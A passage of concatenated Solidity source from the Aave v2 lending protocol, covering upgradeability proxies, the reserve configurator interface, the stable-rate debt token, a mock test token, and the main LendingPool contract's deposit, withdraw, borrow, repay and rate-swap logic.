InitializableImmutableAdminUpgradeabilityProxy is BaseImmutableAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy { constructor(address admin) public BaseImmutableAdminUpgradeabilityProxy(admin) {} /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override(BaseImmutableAdminUpgradeabilityProxy, Proxy) { BaseImmutableAdminUpgradeabilityProxy._willFallback(); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; interface ILendingPoolConfigurator { struct InitReserveInput { address aTokenImpl; address stableDebtTokenImpl; address variableDebtTokenImpl; uint8 underlyingAssetDecimals; address interestRateStrategyAddress; address underlyingAsset; address treasury; address incentivesController; string underlyingAssetName; string aTokenName; string aTokenSymbol; string variableDebtTokenName; string variableDebtTokenSymbol; string stableDebtTokenName; string stableDebtTokenSymbol; bytes params; } struct UpdateATokenInput { address asset; address treasury; address incentivesController; string name; string symbol; address implementation; bytes params; } struct UpdateDebtTokenInput { address asset; address incentivesController; string name; string symbol; address implementation; bytes params; } /** * @dev Emitted when a reserve is initialized. * @param asset The address of the underlying asset of the reserve * @param aToken The address of the associated aToken contract * @param stableDebtToken The address of the associated stable rate debt token * @param variableDebtToken The address of the associated variable rate debt token * @param interestRateStrategyAddress The address of the interest rate strategy for the reserve **/ event ReserveInitialized( address indexed asset, address indexed aToken, address stableDebtToken, address variableDebtToken, address interestRateStrategyAddress ); /** * @dev Emitted when borrowing is enabled on a reserve * @param asset The address of the underlying asset of the reserve * @param stableRateEnabled True if stable rate borrowing is enabled, false otherwise **/ event BorrowingEnabledOnReserve(address indexed asset, bool stableRateEnabled); /** * @dev Emitted when borrowing is disabled on a reserve * @param asset The address of the underlying asset of the reserve **/ event BorrowingDisabledOnReserve(address indexed asset); /** * @dev Emitted when the collateralization risk parameters for the specified asset are updated. * @param asset The address of the underlying asset of the reserve * @param ltv The loan to value of the asset when used as collateral * @param liquidationThreshold The threshold at which loans using this asset as collateral will be considered undercollateralized * @param liquidationBonus The bonus liquidators receive to liquidate this asset **/ event CollateralConfigurationChanged( address indexed asset, uint256 ltv, uint256 liquidationThreshold, uint256 liquidationBonus ); /** * @dev Emitted when stable rate borrowing is enabled on a reserve * @param asset The address of the underlying asset of the reserve **/ event StableRateEnabledOnReserve(address indexed asset); /** * @dev Emitted when stable rate borrowing is disabled on a reserve * @param asset The address of the underlying asset of the reserve **/ event StableRateDisabledOnReserve(address indexed asset); /** * @dev Emitted when a reserve is activated * @param asset The address of the underlying asset of the reserve **/ event ReserveActivated(address indexed asset); /** * @dev Emitted when a reserve is deactivated * @param asset The address of the underlying asset of the reserve **/ event ReserveDeactivated(address indexed asset); /** * @dev Emitted when a reserve is frozen * @param asset The address of the underlying asset of the reserve **/ event ReserveFrozen(address indexed asset); /** * @dev Emitted when a reserve is unfrozen * @param asset The address of the underlying asset of the reserve **/ event ReserveUnfrozen(address indexed asset); /** * @dev Emitted when a reserve factor is updated * @param asset The address of the underlying asset of the reserve * @param factor The new reserve factor **/ event ReserveFactorChanged(address indexed asset, uint256 factor); /** * @dev Emitted when the reserve decimals are updated * @param asset The address of the underlying asset of the reserve * @param decimals The new decimals **/ event ReserveDecimalsChanged(address indexed asset, uint256 decimals); /** * @dev Emitted when a reserve interest strategy contract is updated * @param asset The address of the underlying asset of the reserve * @param strategy The new address of the interest strategy contract **/ event ReserveInterestRateStrategyChanged(address indexed asset, address strategy); /** * @dev Emitted when an aToken implementation is upgraded * @param asset The address of the underlying asset of the reserve * @param proxy The aToken proxy address * @param implementation The new aToken implementation **/ event ATokenUpgraded( address indexed asset, address indexed proxy, address indexed implementation ); /** * @dev Emitted when the implementation of a stable debt token is upgraded * @param asset The address of the underlying asset of the reserve * @param proxy The stable debt token proxy address * @param implementation The new aToken implementation **/ event StableDebtTokenUpgraded( address indexed asset, address indexed proxy, address indexed implementation ); /** * @dev Emitted when the implementation of a variable debt token is upgraded * @param asset The address of the underlying asset of the reserve * @param proxy The variable debt token proxy address * @param implementation The new aToken implementation **/ event VariableDebtTokenUpgraded( address indexed asset, address indexed proxy, address indexed implementation ); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import '../../../dependencies/openzeppelin/upgradeability/BaseUpgradeabilityProxy.sol'; /** * @title BaseImmutableAdminUpgradeabilityProxy * @author Aave, inspired by the OpenZeppelin upgradeability proxy pattern * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. The admin role is stored in an immutable, which * helps saving transactions costs * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract BaseImmutableAdminUpgradeabilityProxy is BaseUpgradeabilityProxy { address immutable ADMIN; constructor(address admin) public { ADMIN = admin; } modifier ifAdmin() { if (msg.sender == ADMIN) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return ADMIN; } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin { _upgradeTo(newImplementation); (bool success, ) = newImplementation.delegatecall(data); require(success); } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal virtual override { require(msg.sender != ADMIN, 'Cannot call fallback function from the proxy admin'); super._willFallback(); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import './BaseUpgradeabilityProxy.sol'; /** * @title InitializableUpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with an initializer for initializing * implementation and init data. */ contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract initializer. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize(address _logic, bytes memory _data) public payable { require(_implementation() == address(0)); assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if (_data.length > 0) { (bool success, ) = _logic.delegatecall(_data); require(success); } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import './Proxy.sol'; import '../contracts/Address.sol'; /** * @title BaseUpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract BaseUpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal view override returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; //solium-disable-next-line assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require( Address.isContract(newImplementation), 'Cannot set a proxy implementation to a non-contract address' ); bytes32 slot = IMPLEMENTATION_SLOT; //solium-disable-next-line assembly { sstore(slot, newImplementation) } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.6.0; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback() external payable { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { //solium-disable-next-line assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual {} /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {DebtTokenBase} from './base/DebtTokenBase.sol'; import {MathUtils} from '../libraries/math/MathUtils.sol'; import {WadRayMath} from '../libraries/math/WadRayMath.sol'; import {IStableDebtToken} from '../../interfaces/IStableDebtToken.sol'; import {ILendingPool} from '../../interfaces/ILendingPool.sol'; import {IAaveIncentivesController} from '../../interfaces/IAaveIncentivesController.sol'; import {Errors} from '../libraries/helpers/Errors.sol'; /** * @title StableDebtToken * @notice Implements a stable debt token to track the borrowing positions of users * at stable rate mode * @author Aave **/ contract StableDebtToken is IStableDebtToken, DebtTokenBase { using WadRayMath for uint256; uint256 public constant DEBT_TOKEN_REVISION = 0x1; uint256 internal _avgStableRate; mapping(address => uint40) internal _timestamps; mapping(address => uint256) internal _usersStableRate; uint40 internal _totalSupplyTimestamp; ILendingPool internal _pool; address internal _underlyingAsset; IAaveIncentivesController internal _incentivesController; /** * @dev Initializes the debt token. * @param pool The address of the lending pool where this aToken will be used * @param underlyingAsset The address of the underlying asset of this aToken (E.g. WETH for aWETH) * @param incentivesController The smart contract managing potential incentives distribution * @param debtTokenDecimals The decimals of the debtToken, same as the underlying asset's * @param debtTokenName The name of the token * @param debtTokenSymbol The symbol of the token */ function initialize( ILendingPool pool, address underlyingAsset, IAaveIncentivesController incentivesController, uint8 debtTokenDecimals, string memory debtTokenName, string memory debtTokenSymbol, bytes calldata params ) public override initializer { _setName(debtTokenName); _setSymbol(debtTokenSymbol); _setDecimals(debtTokenDecimals); _pool = pool; _underlyingAsset = underlyingAsset; _incentivesController = incentivesController; emit Initialized( underlyingAsset, address(pool), address(incentivesController), debtTokenDecimals, debtTokenName, debtTokenSymbol, params ); } /** * @dev Gets the revision of the stable debt token implementation * @return The debt token implementation revision **/ function getRevision() internal pure virtual override returns (uint256) { return DEBT_TOKEN_REVISION; } /** * @dev Returns the average stable rate across all the stable rate debt * @return the average stable rate **/ function getAverageStableRate() external view virtual override returns (uint256) { return _avgStableRate; } /** * @dev Returns the timestamp of the last user action * @return The last update timestamp **/ function getUserLastUpdated(address user) external view virtual override returns (uint40) { return _timestamps[user]; } /** * @dev Returns the stable rate of the user * @param user The address of the user * @return The stable rate of user **/ function getUserStableRate(address user) external view virtual override returns (uint256) { return _usersStableRate[user]; } /** * @dev Calculates the current user debt balance * @return The accumulated debt of the user **/ function balanceOf(address account) public view virtual override returns (uint256) { uint256 accountBalance = super.balanceOf(account); uint256 stableRate = _usersStableRate[account]; if (accountBalance == 0) { return 0; } uint256 cumulatedInterest = MathUtils.calculateCompoundedInterest(stableRate, _timestamps[account]); return accountBalance.rayMul(cumulatedInterest); } struct MintLocalVars { uint256 previousSupply; uint256 nextSupply; uint256 amountInRay; uint256 newStableRate; uint256 currentAvgStableRate; } /** * @dev Mints debt token to the `onBehalfOf` address. * - Only callable by the LendingPool * - The resulting rate is the weighted average between the rate of the new debt * and the rate of the previous debt * @param user The address receiving the borrowed underlying, being the delegatee in case * of credit delegate, or same as `onBehalfOf` otherwise * @param onBehalfOf The address receiving the debt tokens * @param amount The amount of debt tokens to mint * @param rate The rate of the debt being minted **/ function mint( address user, address onBehalfOf, uint256 amount, uint256 rate ) external override onlyLendingPool returns (bool) { MintLocalVars memory vars; if (user != onBehalfOf) { _decreaseBorrowAllowance(onBehalfOf, user, amount); } (, uint256 currentBalance, uint256 balanceIncrease) = _calculateBalanceIncrease(onBehalfOf); vars.previousSupply = totalSupply(); vars.currentAvgStableRate = _avgStableRate; vars.nextSupply = _totalSupply = vars.previousSupply.add(amount); vars.amountInRay = amount.wadToRay(); vars.newStableRate = _usersStableRate[onBehalfOf] .rayMul(currentBalance.wadToRay()) .add(vars.amountInRay.rayMul(rate)) .rayDiv(currentBalance.add(amount).wadToRay()); require(vars.newStableRate <= type(uint128).max, Errors.SDT_STABLE_DEBT_OVERFLOW); _usersStableRate[onBehalfOf] = vars.newStableRate; //solium-disable-next-line _totalSupplyTimestamp = _timestamps[onBehalfOf] = uint40(block.timestamp); // Calculates the updated average stable rate vars.currentAvgStableRate = _avgStableRate = vars .currentAvgStableRate .rayMul(vars.previousSupply.wadToRay()) .add(rate.rayMul(vars.amountInRay)) .rayDiv(vars.nextSupply.wadToRay()); _mint(onBehalfOf, amount.add(balanceIncrease), vars.previousSupply); emit Transfer(address(0), onBehalfOf, amount); emit Mint( user, onBehalfOf, amount, currentBalance, balanceIncrease, vars.newStableRate, vars.currentAvgStableRate, vars.nextSupply ); return currentBalance == 0; } /** * @dev Burns debt of `user` * @param user The address of the user getting his debt burned * @param amount The amount of debt tokens getting burned **/ function burn(address user, uint256 amount) external override onlyLendingPool { (, uint256 currentBalance, uint256 balanceIncrease) = _calculateBalanceIncrease(user); uint256 previousSupply = totalSupply(); uint256 newAvgStableRate = 0; uint256 nextSupply = 0; uint256 userStableRate = _usersStableRate[user]; // Since the total supply and each single user debt accrue separately, // there might be accumulation errors so that the last borrower repaying // mght actually try to repay more than the available debt supply. // In this case we simply set the total supply and the avg stable rate to 0 if (previousSupply <= amount) { _avgStableRate = 0; _totalSupply = 0; } else { nextSupply = _totalSupply = previousSupply.sub(amount); uint256 firstTerm = _avgStableRate.rayMul(previousSupply.wadToRay()); uint256 secondTerm = userStableRate.rayMul(amount.wadToRay()); // For the same reason described above, when the last user is repaying it might // happen that user rate * user balance > avg rate * total supply. In that case, // we simply set the avg rate to 0 if (secondTerm >= firstTerm) { newAvgStableRate = _avgStableRate = _totalSupply = 0; } else { newAvgStableRate = _avgStableRate = firstTerm.sub(secondTerm).rayDiv(nextSupply.wadToRay()); } } if (amount == currentBalance) { _usersStableRate[user] = 0; _timestamps[user] = 0; } else { //solium-disable-next-line _timestamps[user] = uint40(block.timestamp); } //solium-disable-next-line _totalSupplyTimestamp = uint40(block.timestamp); if (balanceIncrease > amount) { uint256 amountToMint = balanceIncrease.sub(amount); _mint(user, amountToMint, previousSupply); emit Mint( user, user, amountToMint, currentBalance, balanceIncrease, userStableRate, newAvgStableRate, nextSupply ); } else { uint256 amountToBurn = amount.sub(balanceIncrease); _burn(user, amountToBurn, previousSupply); emit Burn(user, amountToBurn, currentBalance, balanceIncrease, newAvgStableRate, nextSupply); } emit Transfer(user, address(0), amount); } /** * @dev Calculates the increase in balance since the last user interaction * @param user The address of the user for which the interest is being accumulated * @return The previous principal balance, the new principal balance and the balance increase **/ function _calculateBalanceIncrease(address user) internal view returns ( uint256, uint256, uint256 ) { uint256 previousPrincipalBalance = super.balanceOf(user); if (previousPrincipalBalance == 0) { return (0, 0, 0); } // Calculation of the accrued interest since the last accumulation uint256 balanceIncrease = balanceOf(user).sub(previousPrincipalBalance); return ( previousPrincipalBalance, previousPrincipalBalance.add(balanceIncrease), balanceIncrease ); } /** * @dev Returns the principal and total supply, the average borrow rate and the last supply update timestamp **/ function getSupplyData() public view override returns ( uint256, uint256, uint256, uint40 ) { uint256 avgRate = _avgStableRate; return (super.totalSupply(), _calcTotalSupply(avgRate), avgRate, _totalSupplyTimestamp); } /** * @dev Returns the the total supply and the average stable rate **/ function getTotalSupplyAndAvgRate() public view override returns (uint256, uint256) { uint256 avgRate = _avgStableRate; return (_calcTotalSupply(avgRate), avgRate); } /** * @dev Returns the total supply **/ function totalSupply() public view override returns (uint256) { return _calcTotalSupply(_avgStableRate); } /** * @dev Returns the timestamp at which the total supply was updated **/ function getTotalSupplyLastUpdated() public view override returns (uint40) { return _totalSupplyTimestamp; } /** * @dev Returns the principal debt balance of the user from * @param user The user's address * @return The debt balance of the user since the last burn/mint action **/ function principalBalanceOf(address user) external view virtual override returns (uint256) { return super.balanceOf(user); } /** * @dev Returns the address of the underlying asset of this aToken (E.g. WETH for aWETH) **/ function UNDERLYING_ASSET_ADDRESS() public view returns (address) { return _underlyingAsset; } /** * @dev Returns the address of the lending pool where this aToken is used **/ function POOL() public view returns (ILendingPool) { return _pool; } /** * @dev Returns the address of the incentives controller contract **/ function getIncentivesController() external view override returns (IAaveIncentivesController) { return _getIncentivesController(); } /** * @dev For internal usage in the logic of the parent contracts **/ function _getIncentivesController() internal view override returns (IAaveIncentivesController) { return _incentivesController; } /** * @dev For internal usage in the logic of the parent contracts **/ function _getUnderlyingAssetAddress() internal view override returns (address) { return _underlyingAsset; } /** * @dev For internal usage in the logic of the parent contracts **/ function _getLendingPool() internal view override returns (ILendingPool) { return _pool; } /** * @dev Calculates the total supply * @param avgRate The average rate at which the total supply increases * @return The debt balance of the user since the last burn/mint action **/ function _calcTotalSupply(uint256 avgRate) internal view virtual returns (uint256) { uint256 principalSupply = super.totalSupply(); if (principalSupply == 0) { return 0; } uint256 cumulatedInterest = MathUtils.calculateCompoundedInterest(avgRate, _totalSupplyTimestamp); return principalSupply.rayMul(cumulatedInterest); } /** * @dev Mints stable debt tokens to an user * @param account The account receiving the debt tokens * @param amount The amount being minted * @param oldTotalSupply the total supply before the minting event **/ function _mint( address account, uint256 amount, uint256 oldTotalSupply ) internal { uint256 oldAccountBalance = _balances[account]; _balances[account] = oldAccountBalance.add(amount); if (address(_incentivesController) != address(0)) { _incentivesController.handleAction(account, oldTotalSupply, oldAccountBalance); } } /** * @dev Burns stable debt tokens of an user * @param account The user getting his debt burned * @param amount The amount being burned * @param oldTotalSupply The total supply before the burning event **/ function _burn( address account, uint256 amount, uint256 oldTotalSupply ) internal { uint256 oldAccountBalance = _balances[account]; _balances[account] = oldAccountBalance.sub(amount, Errors.SDT_BURN_EXCEEDS_BALANCE); if (address(_incentivesController) != address(0)) { _incentivesController.handleAction(account, oldTotalSupply, oldAccountBalance); } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {StableDebtToken} from '../../protocol/tokenization/StableDebtToken.sol'; contract MockStableDebtToken is StableDebtToken { function getRevision() internal pure override returns (uint256) { return 0x2; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {SafeMath} from '../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IERC20} from '../../dependencies/openzeppelin/contracts/IERC20.sol'; import {SafeERC20} from '../../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {Address} from '../../dependencies/openzeppelin/contracts/Address.sol'; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; import {IAToken} from '../../interfaces/IAToken.sol'; import {IVariableDebtToken} from '../../interfaces/IVariableDebtToken.sol'; import {IFlashLoanReceiver} from '../../flashloan/interfaces/IFlashLoanReceiver.sol'; import {IPriceOracleGetter} from '../../interfaces/IPriceOracleGetter.sol'; import {IStableDebtToken} from '../../interfaces/IStableDebtToken.sol'; import {ILendingPool} from '../../interfaces/ILendingPool.sol'; import {VersionedInitializable} from '../libraries/aave-upgradeability/VersionedInitializable.sol'; import {Helpers} from '../libraries/helpers/Helpers.sol'; import {Errors} from '../libraries/helpers/Errors.sol'; import {WadRayMath} from '../libraries/math/WadRayMath.sol'; import {PercentageMath} from '../libraries/math/PercentageMath.sol'; import {ReserveLogic} from '../libraries/logic/ReserveLogic.sol'; import {GenericLogic} from '../libraries/logic/GenericLogic.sol'; import {ValidationLogic} from '../libraries/logic/ValidationLogic.sol'; import {ReserveConfiguration} from '../libraries/configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../libraries/configuration/UserConfiguration.sol'; import {DataTypes} from '../libraries/types/DataTypes.sol'; import {LendingPoolStorage} from './LendingPoolStorage.sol'; /** * @title LendingPool contract * @dev Main point of interaction with an Aave protocol's market * - Users can: * # Deposit * # Withdraw * # Borrow * # Repay * # Swap their loans between variable and stable rate * # Enable/disable their deposits as collateral rebalance stable rate borrow positions * # Liquidate positions * # Execute Flash Loans * - To be covered by a proxy contract, owned by the LendingPoolAddressesProvider of the specific market * - All admin functions are callable by the LendingPoolConfigurator contract defined also in the * LendingPoolAddressesProvider * @author Aave **/ contract LendingPool is VersionedInitializable, ILendingPool, LendingPoolStorage { using SafeMath for uint256; using WadRayMath for uint256; using PercentageMath for uint256; using SafeERC20 for IERC20; uint256 public constant LENDINGPOOL_REVISION = 0x2; modifier whenNotPaused() { _whenNotPaused(); _; } modifier onlyLendingPoolConfigurator() { _onlyLendingPoolConfigurator(); _; } function _whenNotPaused() internal view { require(!_paused, Errors.LP_IS_PAUSED); } function _onlyLendingPoolConfigurator() internal view { require( _addressesProvider.getLendingPoolConfigurator() == msg.sender, Errors.LP_CALLER_NOT_LENDING_POOL_CONFIGURATOR ); } function getRevision() internal pure override returns (uint256) { return LENDINGPOOL_REVISION; } /** * @dev Function is invoked by the proxy contract when the LendingPool contract is added to the * LendingPoolAddressesProvider of the market. * - Caching the address of the LendingPoolAddressesProvider in order to reduce gas consumption * on subsequent operations * @param provider The address of the LendingPoolAddressesProvider **/ function initialize(ILendingPoolAddressesProvider provider) public initializer { _addressesProvider = provider; _maxStableRateBorrowSizePercent = 2500; _flashLoanPremiumTotal = 9; _maxNumberOfReserves = 128; } /** * @dev Deposits an `amount` of underlying asset into the reserve, receiving in return overlying aTokens. * - E.g. User deposits 100 USDC and gets in return 100 aUSDC * @param asset The address of the underlying asset to deposit * @param amount The amount to be deposited * @param onBehalfOf The address that will receive the aTokens, same as msg.sender if the user * wants to receive them on his own wallet, or a different address if the beneficiary of aTokens * is a different wallet * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man **/ function deposit( address asset, uint256 amount, address onBehalfOf, uint16 referralCode ) external override whenNotPaused { DataTypes.ReserveData storage reserve = _reserves[asset]; ValidationLogic.validateDeposit(reserve, amount); address aToken = reserve.aTokenAddress; reserve.updateState(); reserve.updateInterestRates(asset, aToken, amount, 0); IERC20(asset).safeTransferFrom(msg.sender, aToken, amount); bool isFirstDeposit = IAToken(aToken).mint(onBehalfOf, amount, reserve.liquidityIndex); if (isFirstDeposit) { _usersConfig[onBehalfOf].setUsingAsCollateral(reserve.id, true); emit ReserveUsedAsCollateralEnabled(asset, onBehalfOf); } emit Deposit(asset, msg.sender, onBehalfOf, amount, referralCode); } /** * @dev Withdraws an `amount` of underlying asset from the reserve, burning the equivalent aTokens owned * E.g. User has 100 aUSDC, calls withdraw() and receives 100 USDC, burning the 100 aUSDC * @param asset The address of the underlying asset to withdraw * @param amount The underlying amount to be withdrawn * - Send the value type(uint256).max in order to withdraw the whole aToken balance * @param to Address that will receive the underlying, same as msg.sender if the user * wants to receive it on his own wallet, or a different address if the beneficiary is a * different wallet * @return The final amount withdrawn **/ function withdraw( address asset, uint256 amount, address to ) external override whenNotPaused returns (uint256) { DataTypes.ReserveData storage reserve = _reserves[asset]; address aToken = reserve.aTokenAddress; uint256 userBalance = IAToken(aToken).balanceOf(msg.sender); uint256 amountToWithdraw = amount; if (amount == type(uint256).max) { amountToWithdraw = userBalance; } ValidationLogic.validateWithdraw( asset, amountToWithdraw, userBalance, _reserves, _usersConfig[msg.sender], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); reserve.updateState(); reserve.updateInterestRates(asset, aToken, 0, amountToWithdraw); if (amountToWithdraw == userBalance) { _usersConfig[msg.sender].setUsingAsCollateral(reserve.id, false); emit ReserveUsedAsCollateralDisabled(asset, msg.sender); } IAToken(aToken).burn(msg.sender, to, amountToWithdraw, reserve.liquidityIndex); emit Withdraw(asset, msg.sender, to, amountToWithdraw); return amountToWithdraw; } /** * @dev Allows users to borrow a specific `amount` of the reserve underlying asset, provided that the borrower * already deposited enough collateral, or he was given enough allowance by a credit delegator on the * corresponding debt token (StableDebtToken or VariableDebtToken) * - E.g. User borrows 100 USDC passing as `onBehalfOf` his own address, receiving the 100 USDC in his wallet * and 100 stable/variable debt tokens, depending on the `interestRateMode` * @param asset The address of the underlying asset to borrow * @param amount The amount to be borrowed * @param interestRateMode The interest rate mode at which the user wants to borrow: 1 for Stable, 2 for Variable * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man * @param onBehalfOf Address of the user who will receive the debt. Should be the address of the borrower itself * calling the function if he wants to borrow against his own collateral, or the address of the credit delegator * if he has been given credit delegation allowance **/ function borrow( address asset, uint256 amount, uint256 interestRateMode, uint16 referralCode, address onBehalfOf ) external override whenNotPaused { DataTypes.ReserveData storage reserve = _reserves[asset]; _executeBorrow( ExecuteBorrowParams( asset, msg.sender, onBehalfOf, amount, interestRateMode, reserve.aTokenAddress, referralCode, true ) ); } /** * @notice Repays a borrowed `amount` on a specific reserve, burning the equivalent debt tokens owned * - E.g. User repays 100 USDC, burning 100 variable/stable debt tokens of the `onBehalfOf` address * @param asset The address of the borrowed underlying asset previously borrowed * @param amount The amount to repay * - Send the value type(uint256).max in order to repay the whole debt for `asset` on the specific `debtMode` * @param rateMode The interest rate mode at of the debt the user wants to repay: 1 for Stable, 2 for Variable * @param onBehalfOf Address of the user who will get his debt reduced/removed. Should be the address of the * user calling the function if he wants to reduce/remove his own debt, or the address of any other * other borrower whose debt should be removed * @return The final amount repaid **/ function repay( address asset, uint256 amount, uint256 rateMode, address onBehalfOf ) external override whenNotPaused returns (uint256) { DataTypes.ReserveData storage reserve = _reserves[asset]; (uint256 stableDebt, uint256 variableDebt) = Helpers.getUserCurrentDebt(onBehalfOf, reserve); DataTypes.InterestRateMode interestRateMode = DataTypes.InterestRateMode(rateMode); ValidationLogic.validateRepay( reserve, amount, interestRateMode, onBehalfOf, stableDebt, variableDebt ); uint256 paybackAmount = interestRateMode == DataTypes.InterestRateMode.STABLE ? stableDebt : variableDebt; if (amount < paybackAmount) { paybackAmount = amount; } reserve.updateState(); if (interestRateMode == DataTypes.InterestRateMode.STABLE) { IStableDebtToken(reserve.stableDebtTokenAddress).burn(onBehalfOf, paybackAmount); } else { IVariableDebtToken(reserve.variableDebtTokenAddress).burn( onBehalfOf, paybackAmount, reserve.variableBorrowIndex ); } address aToken = reserve.aTokenAddress; reserve.updateInterestRates(asset, aToken, paybackAmount, 0); if (stableDebt.add(variableDebt).sub(paybackAmount) == 0) { _usersConfig[onBehalfOf].setBorrowing(reserve.id, false); } IERC20(asset).safeTransferFrom(msg.sender, aToken, paybackAmount); IAToken(aToken).handleRepayment(msg.sender, paybackAmount); emit Repay(asset, onBehalfOf, msg.sender, paybackAmount); return paybackAmount; } /** * @dev Allows a borrower to swap his debt between stable and variable mode, or viceversa * @param asset The address of the underlying asset borrowed * @param rateMode The rate mode that the user wants to swap to **/ function swapBorrowRateMode(address asset, uint256 rateMode) external override whenNotPaused { DataTypes.ReserveData storage reserve = _reserves[asset]; (uint256 stableDebt, uint256 variableDebt) = Helpers.getUserCurrentDebt(msg.sender, reserve); DataTypes.InterestRateMode interestRateMode = DataTypes.InterestRateMode(rateMode); ValidationLogic.validateSwapRateMode( reserve, _usersConfig[msg.sender], stableDebt, variableDebt, interestRateMode ); reserve.updateState(); if (interestRateMode == DataTypes.InterestRateMode.STABLE) { IStableDebtToken(reserve.stableDebtTokenAddress).burn(msg.sender, stableDebt); IVariableDebtToken(reserve.variableDebtTokenAddress).mint( msg.sender, msg.sender, stableDebt, reserve.variableBorrowIndex ); } else { IVariableDebtToken(reserve.variableDebtTokenAddress).burn( msg.sender, variableDebt, reserve.variableBorrowIndex ); IStableDebtToken(reserve.stableDebtTokenAddress).mint( msg.sender, msg.sender, variableDebt, reserve.currentStableBorrowRate ); } reserve.updateInterestRates(asset, reserve.aTokenAddress, 0, 0); emit Swap(asset, msg.sender, rateMode); } /** * @dev Rebalances the stable interest rate of a user to the current stable rate defined on the reserve. * - Users can be rebalanced if the following conditions are satisfied: * 1. Usage ratio is above 95% * 2. the current deposit APY is below REBALANCE_UP_THRESHOLD * maxVariableBorrowRate, which means that too much has been * borrowed at a stable rate and depositors are not earning enough * @param asset The address of the underlying asset borrowed * @param user The address of the user to be rebalanced **/ function rebalanceStableBorrowRate(address asset, address user) external override whenNotPaused { DataTypes.ReserveData storage reserve = _reserves[asset]; IERC20 stableDebtToken = IERC20(reserve.stableDebtTokenAddress); IERC20 variableDebtToken = IERC20(reserve.variableDebtTokenAddress); address aTokenAddress = reserve.aTokenAddress; uint256 stableDebt = IERC20(stableDebtToken).balanceOf(user); ValidationLogic.validateRebalanceStableBorrowRate( reserve, asset, stableDebtToken, variableDebtToken, aTokenAddress ); reserve.updateState(); IStableDebtToken(address(stableDebtToken)).burn(user, stableDebt); IStableDebtToken(address(stableDebtToken)).mint( user, user, stableDebt, 